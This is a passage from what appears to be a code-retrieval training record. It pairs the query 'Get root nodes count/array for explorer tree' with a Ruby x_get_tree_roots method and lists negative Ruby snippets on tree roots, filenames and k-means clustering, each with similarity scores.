Time.now.strftime('_%m-%d_%H-%M-%S')\n prefix + current_branch + timestamp\n end", "def base_filename\n @rf['recording']['base_filename']\n end", "def get_filename (file)\n\t\tif file.is_a? File\n\t\t\tfile = file.path\n\t\tend\n\t\treturn file\n\tend", "def filename identifier\n raise \"An identifier is required\" if identifier.to_s == ''\n \"./#{application}_#{customer}_#{identifier}.pdf\"\n end", "def newfilename( destdir = directory )\n raise ArgumentError, 'Directory required' unless File.directory?( destdir.to_s )\n\n fname = date + '-' + time\n newfname = File.expand_path( fname, destdir ) + ext\n\n # If the file already exists, append a number\n index = 0\n while File.exist?( newfname )\n break if File.identical?( fullpath, newfname )\n newfname = File.expand_path( fname, destdir ) + \"-\" + ( index += 1 ).to_s + ext\n end\n\n newfname\n end", "def filename\n date = data[:post_date]\n slug = data[:post_name]\n \"source/#{date.strftime('%Y-%m-%d')}-#{slug}.html.erb\"\n end", "def file_name\n return unless @file\n\n @file.absolute_name\n end", "def filename\n local?? swf_url : tmp_file.path\n end", "def formatted_filename(name, version, suffix, extension)\n name.gsub(\"#{version}_\", \"\").chomp(File.extname(name)) + \"_#{suffix}.#{extension}\"\n end", "def file_name\n return @file_name\n end", "def file_name\n return @file_name\n end" ]
[ "0.74618983", "0.74618983", "0.7234299", "0.7227529", "0.7157259", "0.71547526", "0.71396947", "0.71308124", "0.7087508", "0.70554817", "0.6999715", "0.69842774", "0.69481206", "0.69449836", "0.69214165", "0.6884821", "0.6883223", "0.6862304", "0.684564", "0.68437064", "0.6809228", "0.6807846", "0.6772101", "0.67283386", "0.67242306", "0.6722174", "0.67201626", "0.6698264", "0.6691463", "0.66903436", "0.6688209", "0.6664386", "0.6646012", "0.66450036", "0.6643067", "0.6639387", "0.6636602", "0.663386", "0.6630363", "0.6626585", "0.6619436", "0.6614718", "0.6613699", "0.6603606", "0.6600604", "0.6597116", "0.65892476", "0.6588181", "0.6584177", "0.65820074", "0.65820074", "0.65794873", "0.65794873", "0.657655", "0.6570581", "0.6570444", "0.65604734", "0.65604734", "0.65599346", "0.6555054", "0.6550444", "0.6537217", "0.6537133", "0.6534007", "0.6527463", "0.6513447", "0.6512832", "0.65080804", "0.6505852", "0.648167", "0.64755154", "0.64743793", "0.6469734", "0.6466143", "0.6464622", "0.646425", "0.64557743", "0.6449787", "0.6441229", "0.64410657", "0.6438597", "0.6436193", "0.64347976", "0.6433666", "0.6432872", "0.64320856", "0.64294463", "0.6426138", "0.6421693", "0.641983", "0.64162916", "0.64051765", "0.6404169", "0.63980025", "0.6396905", "0.6393199", "0.6393104", "0.6391089", "0.6390807", "0.6390807" ]
0.81904453
0
Get root nodes count/array for explorer tree
def x_get_tree_roots(count_only, _options) objects = [] objects.push(:id => "asrv", :text => _("Active Services"), :icon => "pficon pficon-folder-close", :load_children => true, :tip => _("Active Services")) objects.push(:id => "rsrv", :text => _("Retired Services"), :icon => "pficon pficon-folder-close", :load_children => true, :tip => _("Retired Services")) count_only_or_objects(count_only, objects) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def x_get_tree_roots\n count_only_or_objects(false, PxeServer.all, \"name\")\n end", "def x_get_tree_roots\n count_only_or_objects(false, StorageCluster.all)\n end", "def x_get_tree_roots\n count_only_or_objects(false, MiqPolicySet.all, :description)\n end", "def get_number_of_root_elements(elements)\n num = 0\n parent_field = @db_fields[:parent]\n elements.each do |e|\n num += 1 if e.send(parent_field) == 0\n end\n num\n end", "def nodeCount\n count = 1\n\n if @children.size\n @children.each do |key, val|\n count += val.nodeCount\n end\n end\n\n count\n end", "def x_get_tree_roots\n objects = []\n objects << {:id => \"compliance\", :text => _(\"Compliance Policies\"), :icon => \"pficon pficon-history\", :tip => _(\"Compliance Policies\")}\n objects << {:id => \"control\", :text => _(\"Control Policies\"), :icon => \"fa fa-shield\", :tip => _(\"Control Policies\")}\n\n # Push folder node ids onto open_nodes array\n objects.each { |o| open_node(\"xx-#{o[:id]}\") }\n\n count_only_or_objects(false, objects)\n end", "def num_tree_levels\n level = 0\n num_nodes= all_node_values_with_nil.length # considers tree as 'complete\n num_nodes_in_full_tree = 2**level\n until num_nodes_in_full_tree >= num_nodes\n level += 1\n num_nodes_in_full_tree += 2**level\n end\n num_tree_levels = level + 1 # (started count at 0)\n num_tree_levels = 0 if @root.nil?\n return num_tree_levels\n end", "def size\n return @tree.size\n end", "def count_nodes(node = @root)\n node.children.map do |child_node|\n @node_count +=1\n # binding.pry if child_node.is_word\n count_nodes(child_node)\n end\n @node_count\n end", "def x_get_tree_roots\n objects = []\n objects.push(configured_systems)\n count_only_or_objects(false, objects + FILTERS.values)\n end", "def length\n @tree.length\n end", "def x_get_tree_roots(count_only, _options)\n objects = Rbac.filtered(VmdbDatabase.my_database.evm_tables).to_a\n # storing table names and their id in hash so they can be used to build links on summary screen in top 5 boxes\n @sb[:vmdb_tables] = {}\n objects.each do |o|\n @sb[:vmdb_tables][o.name] = o.id\n end\n count_only_or_objects(count_only, objects, \"name\")\n end", "def size\n @root and @root.size or 0\n end", "def x_get_tree_roots(count_only, _options)\n objects = Rbac.filtered(Dialog.all).sort_by { |a| a.label.downcase }\n count_only_or_objects(count_only, objects)\n end", "def total_count\n object.nodes.size\n end", "def TreeView_GetCount(hwnd) send_treeview_message(hwnd, :GETCOUNT) end", "def leaf_count\n @leaf_count\n end", "def num_children\n `#@native.numChildren()`\n end", "def TreeView_GetSelectedCount(hwnd) send_treeview_message(hwnd, :GETSELECTEDCOUNT) end", "def _num_of_children(root)\n return [ 0, nil, nil ] if root.nil?\n #\n n = root.lnode.nil? ? 0 : 1\n n += root.rnode.nil? ? 0 : 1\n [n, root.lnode, root.rnode]\n end", "def current_num_nodes() ; info[:current_num_nodes] ; end", "def count_child_nodes(hash = self)\n count = 0\n walk_tree(hash) do\n count += 1\n end\n count\n end", "def render_child_count(node = @tree.root)\n @stack.push(node)\n child_count = 0\n until @stack.empty?\n current_node = @stack.pop\n current_node.children.each do |child|\n @stack.push(child)\n child_count += 1\n end\n end\n child_count\n end", "def size(root)\n leftCount = root.left ? size(root.left) : 0\n rightCount = root.right ? size(root.right) : 0\n return 1 + leftCount + rightCount\n end", "def fulltree_count(*args)\n fulltree_rels(*args).size\n end", "def top\r\n top = root.children\r\n top.map { |i| [i, top_level_count(i)] }.sort_by { |i| i.last }.reverse\r\n end", "def x_get_tree_roots(count_only, _options)\n count_only_or_objects(count_only,\n Rbac.filtered(ManageIQ::Providers::AnsibleTower::ConfigurationManager.order(\"lower(name)\"),\n :match_via_descendants => ConfigurationScript), \"name\")\n end", "def count_nodes\n @page.xpath(\"//*\").count\n end", "def TreeView_GetVisibleCount(hwnd) send_treeview_message(hwnd, :GETVISIBLECOUNT) end", "def orbit_count\n return 0 unless @root\n sum_of_depths = 0\n nodes_to_traverse = [{ node: @root, depth: 0 }]\n until nodes_to_traverse.empty?\n node_pair = nodes_to_traverse.shift\n node = node_pair[:node]\n depth = node_pair[:depth]\n sum_of_depths += depth\n node.children.each { |child| nodes_to_traverse << { node: child, depth: depth + 1 } }\n end\n sum_of_depths\n end", "def full_tree_node_count(min_capacity)\n full_tree_leaf_count(min_capacity) * 2 - 1\n end", "def children_size\n leaf? ? 0 : children.map(&:size).reduce(:+)\n end", "def num_children\n @children.size\n end", "def getNodeElementCount\n return @nodeElements.size\n end", "def size\n @nodes.length\n end", "def size\n @nodes.length\n end", "def total\n object.nodes.size\n end", "def number_of_children\n @children.size\n end", "def size\n @nodes.size\n end", "def num_documents_include_tree_children\n num_documents_include_tree_children_rec( self )\n end", "def size\n all_nodes.length\n end", "def full_nodes_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n full_nodes_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n full_nodes_count += 1 if node.left && node.right\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n full_nodes_count\n end", "def size\n count = 0\n visit_nodes do\n count += 1\n end\n count\n end", "def size\n counter = 0\n each { |node| counter += 1 }\n return counter\n end", "def getCount\n return @nodeValues.size\n end", "def nodes()\n self.root.nodes()\n end", "def nodes\n @graph.keys.length\n end", "def level\n root? ? 0 : ancestors.count\n end", "def top_level_section_count\n @top_level.items.size\n end", "def height_nodes(root)\n return 0 if root == nil\n\n left = height_nodes(root.left)\n right = height_nodes(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend", "def render_child_type_count(node = @tree.root)\n @stack.push(node)\n result_hash = {}\n tag_count = 0\n content_count = 0\n until @stack.empty?\n current_node = @stack.pop\n current_node.children.each do |child|\n @stack.push(child)\n child.data.each do |key, value|\n if result_hash[key].nil?\n result_hash[key] = 1\n else\n result_hash[key] += 1\n end\n end\n\n end\n end\n result_hash[:total_nodes] = render_child_count(node)\n result_hash.delete(:type)\n result_hash\n end", "def x_get_tree_roots(_count_only, _options)\n resolve = {}\n CustomButton.button_classes.each { |db| resolve[db] = ui_lookup(:model => db) }\n @sb[:target_classes] = resolve.invert\n resolve = Array(resolve.invert).sort\n resolve.collect do |typ|\n {:id => \"ab_#{typ[1]}\", :text => typ[0], :image => buttons_node_image(typ[1]), :tip => typ[0]}\n end\n end", "def subtree_count(*args)\n subtree_rels(*args).size\n end", "def total_child_count\n count = 0\n self.apply_to_children { |e| count += 1 }\n count\n end", "def returned_nodes_count\n @traversal_position.returnedNodesCount\n end", "def children_count(id)\n wait_for_ajax do\n page.driver.browser.execute_script(<<-JS)\n return Ext.ComponentQuery.query('treepanel')[0].getStore().getNodeById('#{id}').childNodes.length;\n JS\n end\n end", "def num_children\n count = 0\n self.children.each do |child|\n count = count + child.num_children\n end\n\n return self.children.size + count\n end", "def node_count\n @nodes.length - 1\n end", "def x_get_tree_roots(_count_only, _options)\n resolve = {}\n CustomButton.button_classes.each { |db| resolve[db] = ui_lookup(:model => db) }\n @sb[:target_classes] = resolve.invert\n resolve = Array(resolve.invert).sort\n resolve.collect do |typ|\n {:id => \"ab_#{typ[1]}\", :text => typ[0], :tip => typ[0]}.merge(buttons_node_image(typ[1]))\n end\n end", "def count\n count = 0\n\n each do |node|\n count += 1\n end\n\n return count\n end", "def size\n @children.size\n end", "def size\n size_helper(@root)\n end", "def level\n length = 0\n cursor = self\n while cursor.parent_document\n length += 1\n cursor = cursor.parent_document\n end\n length\n end", "def number_of_nodes(node_name)\n nodes(node_name).count\nend", "def num_documents_include_tree_children_rec(parent_cluster) \n num_total = parent_cluster.num_documents\n\n parent_cluster.tree_children.each do |child|\n num_total += child.num_documents_include_tree_children\n end\n\n return num_total\n end", "def height\n count = 0\n if @root != nil\n count = height_helper(@root)\n end\n return count\n end", "def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend", "def num_clusters_include_tree_children\n num_clusters_include_tree_children_rec( self )\n end", "def test_list_root_items\n elfinder = ElFinder::Connector.new({\n :root => @vroot,\n :url => '/elfinder',\n :tree_sub_folders => false,\n :original_filename_method => lambda {|file| File.basename(file.path)}\n })\n\n h, r = elfinder.run(:cmd => 'open', :init => 'true', :target => '', :tree => true)\n assert_equal 0, r[:tree][:dirs].count\n end", "def rowCount(parent)\n if info = info_from_index(parent)\n info.children.size\n else 0\n end\n end", "def node_count(type = nil)\n if type\n value = @db.m_get(\"node#{type}\")\n if value\n value.to_i\n end\n else\n @db.m_get(\"n\").to_i\n end\n end", "def length\n @children.length\n end", "def size_all\n\t\tfname=\"Node:#{__method__}\"\n\t\tret=0\n\t\tlevel=0\n\t\tbegin\n\t\t\tret=self.size_all_(ret, level)\n\t\trescue Exception=>e\n\t\t\tLOG.error(fname){\"EXCEPTION during nodes size calculation: #{e} \"}\n\t\tret=-1\n\t\tend\n\t\tret\n\tend", "def ll_size()\n return @num_nodes\n end", "def child_element_count\n num = 0\n self.each_child_node do |n|\n if n.node_type == ELEMENT_NODE then\n num += 1\n end\n end\n return num\n end", "def children_count\n 0 if @left.nil? && @right.nil?\n 1 if @left.nil? || @right.nil?\n 2\n end", "def all_children_count(scope = nil)\n return all_children(scope).length if scope.is_a?(Hash)\n return (self[right_col_name] - self[left_col_name] - 1)/2\n end", "def node_size\n @results.size\n end", "def parent_count(*args)\n parent_rels(*args).size\n end", "def children_count\n return (self[nested_set_right] - self[nested_set_left] - 1) / 2\n end", "def size_without_recursion\n count = 0\n return 0 unless @root\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n while !q.isEmpty?\n node = q.dequeue\n count += 1\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n count\n end", "def x_get_tree_roots\n objects = []\n objects.push(:id => \"xx-system\",\n :text => _(\"Examples (read only)\"),\n :icon => \"pficon pficon-folder-close\",\n :tip => _(\"Examples (read only)\"))\n PxeImageType.all.sort.each do |item, _idx|\n objects.push(item)\n end\n objects\n end", "def depth\n crumbs.size\n end", "def count_children\n count = children.count\n if count\n children.each { |child| count += child.count_children }\n end\n count\n end", "def print_tree_size()\n\t\tputs \"Total size for #{@folder_walker.folder} is #{commify(@folder_walker.total_size)}\"\n\tend", "def node_count\n raise NotImplementedError\n end", "def node_depths(root)\n sum_of_depths = 0\n stack = [{\"node\"=> root, \"depth\"=> 0}]\n\n while stack.length > 0\n node_info = stack.pop()\n node, depth = node_info[\"node\"], node_info[\"depth\"]\n if node.nil?\n next\n end\n sum_of_depths += depth\n stack.append({\"node\"=> node.left, \"depth\"=> depth + 1})\n stack.append({\"node\"=> node.right, \"depth\"=> depth + 1})\n end\n return sum_of_depths\n\nend", "def segment_count\n children.map(&:segment_count).inject(:+).to_i + 2\n end", "def height\n height_recursive(@root)\n end", "def challenge4\n\t@size = length(@rootNode)\n\tputs \"Challenge #4 solution: \"\n\tputs \"Number of nodes in tree: \" + @size.to_s\n\tputs \"-----------------------------------\"\nend", "def calculate_num_children\n for x in @lattice do\n for c in @lattice.lower_covers[x] do\n if @irreducibles.contain?(c) then\n @num_children[x] += 1\n end\n end\n end\n end", "def count_all\n # map all nodes into enumerable\n # then add them all together (reduce :+)\n self.map { |node| node.count }.reduce(:+)\n end", "def height\n return 0 if @root.nil?\n return [height_helper(@root.left), height_helper(@root.right)].max + 1\n end", "def size\n size_support(self.root)\n end", "def children_count\n return (self[acts_as_nested_set_options[:right_column]] - self[acts_as_nested_set_options[:left_column]] - 1)/2\n end", "def total_parent_collections\n parent_collections.nil? ? 0 : parent_collections.response['numFound']\n end", "def depth\n depth_support(self.root)\n end", "def num_nests\n my_nests.length\n end", "def children_size\n size = locations.size\n locations.each{|location|\n locations = location.locations\n if locations.present?\n size += location.children_size\n end\n }\n return size\n end", "def on_call_last(context)\n # XPath uses indexes 1 to N instead of 0 to N.\n return current_node_set.length.to_f\n end" ]
[ "0.76894385", "0.7564059", "0.7150193", "0.7136118", "0.7069378", "0.70347905", "0.70306265", "0.6932372", "0.6925589", "0.69245976", "0.69080853", "0.68787706", "0.6833141", "0.68173724", "0.68168944", "0.68070954", "0.68012446", "0.6789951", "0.67724264", "0.6772102", "0.6771728", "0.6762075", "0.6672891", "0.667074", "0.66515815", "0.66109127", "0.65866137", "0.6583173", "0.65828735", "0.65453416", "0.6536989", "0.65331495", "0.6511696", "0.6499405", "0.6480079", "0.6480079", "0.6471476", "0.647062", "0.64568573", "0.6428163", "0.64219856", "0.64133024", "0.6388533", "0.63880545", "0.6379548", "0.63776994", "0.6371373", "0.63475364", "0.63387096", "0.6327368", "0.63259375", "0.6325334", "0.63208616", "0.63075995", "0.6297862", "0.62966007", "0.62787205", "0.62599605", "0.62468386", "0.62318397", "0.62150055", "0.6212841", "0.619941", "0.61745745", "0.61632395", "0.6139365", "0.6127233", "0.6106046", "0.6100169", "0.6081961", "0.6073376", "0.6069069", "0.6039838", "0.60239923", "0.6005259", "0.60019517", "0.60013145", "0.599227", "0.5991874", "0.5989021", "0.5983169", "0.5970302", "0.5955254", "0.5953992", "0.5950379", "0.59490997", "0.5941177", "0.5938989", "0.59302413", "0.5923318", "0.59226376", "0.5917438", "0.58958334", "0.5881884", "0.5880282", "0.5870348", "0.58613455", "0.58610606", "0.5853211", "0.58473724" ]
0.7035114
5
Creates an instance of a Cluster class, initialized with defaults or the provided points and/or centroid. Params: :points An array of Point objects that will become the members of the cluster. :centroid A Point object representing the centroid of the cluster. Returns: A Cluster instance.
def initialize(params = {}) self.points = params[:points] || [] self.centroid = params[:centroid] || nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(points=[])\n @iterations = 3\n @cluster_count = 0\n @points = points\n @clusters = []\n @logger = Log4r::Logger.new('Clusterer')\n @logger.add('default')\n \n # Randomly select a few starting documents.\n #build_empty_clusters('crp')\n end", "def add_to_nearest_centroid(centroids)\n\t\tnearest = centroids.reduce(centroids.first){|closest, current| self.distance(closest) < self.distance(current) ? closest : current}\n\t\tnearest.push self\n\t\treturn_val = @centroid == nearest ? true : false\n\t\t@centroid = nearest\n\t\treturn_val\n\tend", "def calculate_centroid(points)\n sum_x = 0\n sum_y = 0\n \n points.each do |p|\n sum_x += p[:x]\n sum_y += p[:y]\n end\n n = points.length\n {x: sum_x / n, y: sum_y / n}\nend", "def kmeans(points, k, iterations)\n # assign random clusters\n centroids = random_initial_centroids(points, k)\n clusters = []\n iterations.times do\n clusters = []\n (0...k).each do |i|\n clusters[i] = []\n end\n \n points.each do |p|\n clusters[closest_centroid(p, centroids)] << p\n end\n \n # Calculate new centroid\n new_centroids = []\n clusters.each do |c|\n new_centroids << calculate_centroid(c) unless c.to_a.empty?\n end\n \n centroids = new_centroids\n end\n \n clusters\nend", "def assign_clusters\n reset_cluster_data_points\n @data_points.each do |data_point|\n closest_cluster = nil\n minimum_distance = nil\n @clusters.each do |cluster|\n distance_to_current_cluster = data_point.distance2_to(cluster.centroid)\n if minimum_distance.nil? || distance_to_current_cluster < minimum_distance\n minimum_distance = distance_to_current_cluster\n closest_cluster = cluster\n end\n end\n closest_cluster.add(data_point)\n end\n end", "def centroid(points)\n return nil if points.empty?\n\n sum = points.reduce([0] * points.first.size) { |acc, point|\n acc.size.times do |i|\n acc[i] += point[i]\n end\n acc\n }\n\n sum.map { |v| v.to_f / points.size }\n end", "def centroid\n return @centroid if defined?(@centroid)\n\n cx, cy = 0, 0\n\n (0...vertices.length).each do |i|\n prev = vertices[i - 1]\n curr = vertices[i]\n\n v = prev.x * curr.y - curr.x * prev.y\n cx += v * (prev.x + curr.x)\n cy += v * (prev.y + curr.y)\n end\n\n @centroid = Point.new(Rational(cx, 6 * self.area), Rational(cy, 6 * self.area))\n @centroid\n end", "def cluster_neighbors point, cluster, attribute_indexes, bin_widths\n recursively_cluster_neighbors point, cluster, attribute_indexes, bin_widths, []\n end", "def initialize(points)\n @points = points.map.with_index { |(x, y, name), idx|\n Point.new(x, y, idx).tap { |p| p.name = name if name }\n }\n @sorted_points = @points.sort # Point implements <=> to sort by X and break ties by Y\n triangulate(@sorted_points)\n end", "def merge(cluster)\n return Cluster.new(@points + cluster.points)\n end", "def initialize(points)\n @points = points\n end", "def cluster(names)\n persons, companies = partition_by_type(names)\n \n clusterer = SCluster::Clusterer.new(companies, MAX_DISTANCE)\n clusterer.cluster\n \n return clusterer.to_a + [persons]\n end", "def test_centroid_of_three_points\n points = [\n Geokit::LatLng.new(0, -45),\n Geokit::LatLng.new(0, 45),\n Geokit::LatLng.new(90, 0)\n ]\n expected = Geokit::LatLng.new(35.26438, 0)\n actual = Geokit::LatLng.centroid(points)\n assert_in_delta expected.lat, actual.lat, 0.00005\n assert_in_delta expected.lng, actual.lng, 0.00005\n\n points = [\n Geokit::LatLng.new(0, -45),\n Geokit::LatLng.new(0, 45),\n Geokit::LatLng.new(-90, 0)\n ]\n expected = Geokit::LatLng.new(-35.26438, 0)\n actual = Geokit::LatLng.centroid(points)\n assert_in_delta expected.lat, actual.lat, 0.00005\n assert_in_delta expected.lng, actual.lng, 0.00005\n end", "def initialize(center)\n @center = center\n @points = []\n end", "def geographic_center(points)\n\n # convert objects to [lat,lon] arrays and remove nils\n points.map!{ |p| p.is_a?(Array) ? p : p.to_coordinates }.compact\n\n # convert degrees to radians\n points.map!{ |p| [to_radians(p[0]), to_radians(p[1])] }\n\n # convert to Cartesian coordinates\n x = []; y = []; z = []\n points.each do |p|\n x << Math.cos(p[0]) * Math.cos(p[1])\n y << Math.cos(p[0]) * Math.sin(p[1])\n z << Math.sin(p[0])\n end\n\n # compute average coordinate values\n xa, ya, za = [x,y,z].map do |c|\n c.inject(0){ |tot,i| tot += i } / c.size.to_f\n end\n\n # convert back to latitude/longitude\n lon = Math.atan2(ya, xa)\n hyp = Math.sqrt(xa**2 + ya**2)\n lat = Math.atan2(za, hyp)\n\n # return answer in degrees\n [to_degrees(lat), to_degrees(lon)]\n end", "def center_zoom_on_points_init(*points)\r\n if(points.length > 0)\r\n if(points[0].is_a?(Array))\r\n points = points.collect { |point| GLatLng.new(point) }\r\n end\r\n @init_begin << center_and_zoom_on_points(points)\r\n end\r\n end", "def add_point(point)\n point.cluster.remove_point point if point.cluster\n self.points << point\n point.cluster = self\n end", "def create_points(location, point_names)\n point_instances = []\n \n point_names.each do |p|\n # If a point of interest in the same location exists\n if Point.exists?(name: p) && Locale.exists?(name: location)\n point_candidates = Point.where(name: p)\n locale = Locale.where(name: location).first\n \n point_candidates.each do |c|\n point_instances.push c if is_point_in_locale?(c, locale)\n end\n # Else it is necessary to create a new Point\n else\n coordinates = get_coordinates(p)\n point_instances.push Point.create(name: p, latitude: coordinates[0], longitude: coordinates[1])\n end \n end\n \n return point_instances\n end", "def pickNearestCentroid(object, centroids)\n #puts \"#{object} is currently on centroid #{object.getCentroid}\"\n currentCentroid = object.getCentroid()\n\n len = centroids.length\n distanceToCentroids = Array.new(len)\n\n for i in (0..len-1)\n #puts \" #{object} is #{1 - euclidean(object, centroids[i].getDataPoint)} from #{centroids[i]}\"\n distanceToCentroids[i] = 1 - euclidean(object, centroids[i].getDataPoint)\n end\n closestCentroid = centroids[distanceToCentroids.index(distanceToCentroids.min)]\n object.setCentroid(closestCentroid)\n #puts \"#{object} is now on centroid #{object.getCentroid}\"\n return currentCentroid.nil? || currentCentroid != closestCentroid\n end", "def initialize(center, radius, colors, points=nil)\n self.center(center)\n self.radius(radius)\n if colors.is_a?(Hash)\n self.points(colors.keys)\n self.colors(colors.values)\n else\n self.colors(colors)\n self.points(points)\n end\n end", "def initialize(center, radius, colors, points=nil)\n self.center(center)\n self.radius(radius)\n if colors.is_a?(Hash)\n self.points(colors.keys)\n self.colors(colors.values)\n else\n self.colors(colors)\n self.points(points)\n end\n end", "def clusters\n @clusters ||= parse_clusters(ENV['OOD_CLUSTERS'])\n end", "def calculate_centroid\n\n # Clear the centroid vector\n @vcentroid.clear\n tcentroid = Hash.new(0)\n\n # Iterate through each feature vector\n @people.each do |person|\n\n # Sum the feature vectors in this cluster\n person.each do |key,value|\n tcentroid[key] = tcentroid.delete(key).to_i + value.to_i\n end\n\n end\n\n # Compute the average for the centroid\n tcentroid.each do |key,value|\n @vcentroid[key] = value.to_f / @people.length\n end\n\n end", "def create_cluster(opts)\n opts = check_params(opts,[:cluster_ips,:netmasks])\n super(opts)\n end", "def initialize(n_clusters: 8, metric: 'euclidean', init: 'k-means++', max_iter: 50, tol: 1.0e-4, random_seed: nil)\n super()\n @params = {\n n_clusters: n_clusters,\n metric: (metric == 'precomputed' ? 'precomputed' : 'euclidean'),\n init: (init == 'random' ? 'random' : 'k-means++'),\n max_iter: max_iter,\n tol: tol,\n random_seed: (random_seed || srand)\n }\n @rng = Random.new(@params[:random_seed])\n end", "def cluster\n closest_distance = 0\n while closest_distance < @max_distance\n closest_distance, c1, c2 = find_closest_distance\n\n if closest_distance < @max_distance\n merge(c1, c2)\n end\n end\n end", "def initialize(pts = nil)\n self.points = Array.new\n self.add_points pts if pts\n end", "def build(data_set, number_of_clusters)\n @data_set = data_set\n @number_of_clusters = number_of_clusters\n @iterations = 0\n \n calc_initial_centroids\n while(not stop_criteria_met)\n puts \"Iteration \" + @iterations.to_s\n calculate_membership_clusters\n recompute_centroids\n end\n \n return self\n end", "def k_means(k, data, n)\r\n\tcentroids = randomCentroids(data, k, n)\r\n\tclusters = Array.new(k)\r\n\tcentroidsChanged = true\r\n\r\n\t# while the centroids are still changing\r\n\twhile centroidsChanged.equal?(true)\r\n\t\tfor i in 0...k\r\n\t\t\tclusters[i] = Array.new\r\n\t\tend\r\n\r\n\t\tcentroidsChanged = false\r\n\r\n\t\t# assign each data point to the closest centroid\r\n\t\tdata.each do |d|\r\n\t\t\tminDist = euclideanDistance(d[0...n], centroids[0])\r\n\t\t\tminDistCentroid = 0\r\n\t\t\ti = 0\r\n\t\t\t# figures out the centroid closest to the data point\r\n\t\t\tcentroids.each do |c|\r\n\t\t\t\tedist = euclideanDistance(d[0...n],c)\r\n\t\t\t\tif minDist > edist\r\n\t\t\t\t\tminDist = edist\r\n\t\t\t\t\tminDistCentroid = i\r\n\t\t\t\tend\r\n\t\t\t\ti+=1\r\n\t\t\tend\r\n\t\t\tclusters[minDistCentroid].push(d)\r\n\t\tend\r\n\r\n\t\toldCentroids = centroids\r\n\t\tcentroids = Array.new\r\n\t\t# move the location of the centroid to the middle of the cluster\r\n\t\tclusters.each do |cluster|\r\n\t\t\tcentroids.push(findCentroid(cluster, n))\r\n\t\tend\r\n\r\n\t\t# checks to see if any of the centroids moved\r\n\t\tcentroids.each do |centroid|\r\n\t\t\tif not oldCentroids.include?(centroid)\r\n\t\t\t\tcentroidsChanged = true\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\r\n\tclusters\r\nend", "def find_center(cluster)\n sumx = 0; sumy = 0\n total = cluster.length\n cluster.each do |x,y|\n sumx += x \n sumy += y\n end\n xavg = (sumx.to_f / total).round \n yavg = (sumy.to_f / total).round \n center_pos = []\n if (cluster.include?([xavg, yavg]) == false)\n distance_to_center = 100\n cluster.each do |x,y|\n xdiff = (xavg - x).abs\n ydiff = (yavg - y).abs\n xdiff_squared = xdiff ** 2\n ydiff_squared = ydiff ** 2\n distance_squared = xdiff_squared + ydiff_squared\n distance = distance_squared ** 0.5\n if distance < distance_to_center\n center_pos = [x,y]\n distance_to_center = distance\n end\n end\n else\n center_pos = [xavg, yavg]\n end\n return center_pos\n end", "def initialize dataset\n @clustered_dataset = Hash.new\n @array_of_k_means = Array.new\n @working_dataset = dataset\n prepare_dataset\n end", "def clusters\n return @data if @separation && @distances.separation > @separation\n while @data.length > 1\n @distances = Distances.new(@data, @nils)\n return @data if @separation && @distances.separation > @separation\n @data = find_cluster\n end\n @data\n end", "def initialize(n_clusters: 2, affinity: 'rbf', gamma: nil, init: 'k-means++', max_iter: 10, tol: 1.0e-8, random_seed: nil)\n super()\n @params = {\n n_clusters: n_clusters,\n affinity: affinity,\n gamma: gamma,\n init: (init == 'random' ? 'random' : 'k-means++'),\n max_iter: max_iter,\n tol: tol,\n random_seed: (random_seed || srand)\n }\n end", "def add_cluster(freqitemset)\n\n # Make a new cluster\n new_cluster = Cluster.new(freqitemset)\n\n # Find the appropriate place for this new cluster in the map\n first_core_id = new_cluster.first_core_item_id\n\n dest_clusters = @clusters[first_core_id]\n\n if dest_clusters.nil? \n dest_clusters = Clusters.new \n @clusters[first_core_id] = dest_clusters\n end\n\n # Add the new cluster to this collection\n dest_clusters.add_cluster(new_cluster)\n end", "def initialize(sets, indices=nil)\n @sets = sets\n\n @set_indices = indices ?\n winnow_indices(indices) :\n create_indices\n end", "def build_cluster\n ::Couchbase::Cluster.connect(\n @couchbase_options[:connection_string],\n ::Couchbase::Options::Cluster(authenticator: ::Couchbase::PasswordAuthenticator.new(\n @couchbase_options[:username], @couchbase_options[:password]\n ))\n )\n end", "def closest_centroid(point, centroids)\n min = Float::INFINITY\n min_index = 0\n \n centroids.each.with_index do |centroid, i|\n dist = euclidean_distance(point, centroid)\n if dist < min\n min = dist\n min_index = i\n end\n end\n \n min_index\nend", "def center_point_of(points)\n dims = points.first.size\n bb = calc_bb_for_points(points)\n dims.map do |i|\n bb[i] + (bb[dims + i] - bb[i]) / 2\n end\n end", "def initialize(items, label=nil)\n\t\tif items.is_a?(String)\n\t\t\tif items.size <= 0\n\t\t\t\traise \"Cluster#initialize expects an array or a space-delimited String as the first argument; given a String of length zero!\"\n\t\t\tend\n\t\t\titems = items.split(\" \").map { |x| x.strip.to_sym }\n\t\telsif items.respond_to?(:map)\n\t\t\titems = items.map { |x| (x.respond_to?(:to_sym) and not x.to_sym.nil?) ? x.to_sym : x }\n\t\telse\n\t\t\traise \"Cluster#initialize expects an array or a space-delimited String as the first argument; given #{items.class}\"\n\t\tend\n\t\n\t\t@items = items\n\t\t@label = label\n\tend", "def convert_centroid(lat, lon)\n [lat + LAT_GRID/2, lon + LON_GRID/2]\nend", "def place_nodes_into_pockets\n centroid_pockets = Array.new(@centroids.size) {[]}\n @centroids.each_with_index do |centroid, centroid_index|\n @nodes.each_with_index do |node, node_index|\n if node.closest_centroid == centroid\n centroid_pockets[centroid_index] << node_index\n #Store closest nodes in the centroid object\n centroid.nodes << node\n end\n end\n end\n @centroid_pockets = centroid_pockets\n end", "def solve_clustering(points, distance, threshold)\n edges = solve_edges(points, distance).select { |i, j| distance.call(i, j) <= threshold }\n adjacency_list = (0..(points.length - 1)).map { |i| [i] }\n edges.each do |i, j|\n adjacency_list[i].push(j)\n adjacency_list[j].push(i)\n end\n\n connected_components(points.length, adjacency_list)\n end", "def set_cluster\n if params[:id].to_i == -1\n # orphans\n @cluster = Cluster.new(elements: find_orphans)\n else\n @cluster = Cluster.includes(:elements).find(params[:id])\n end\n end", "def 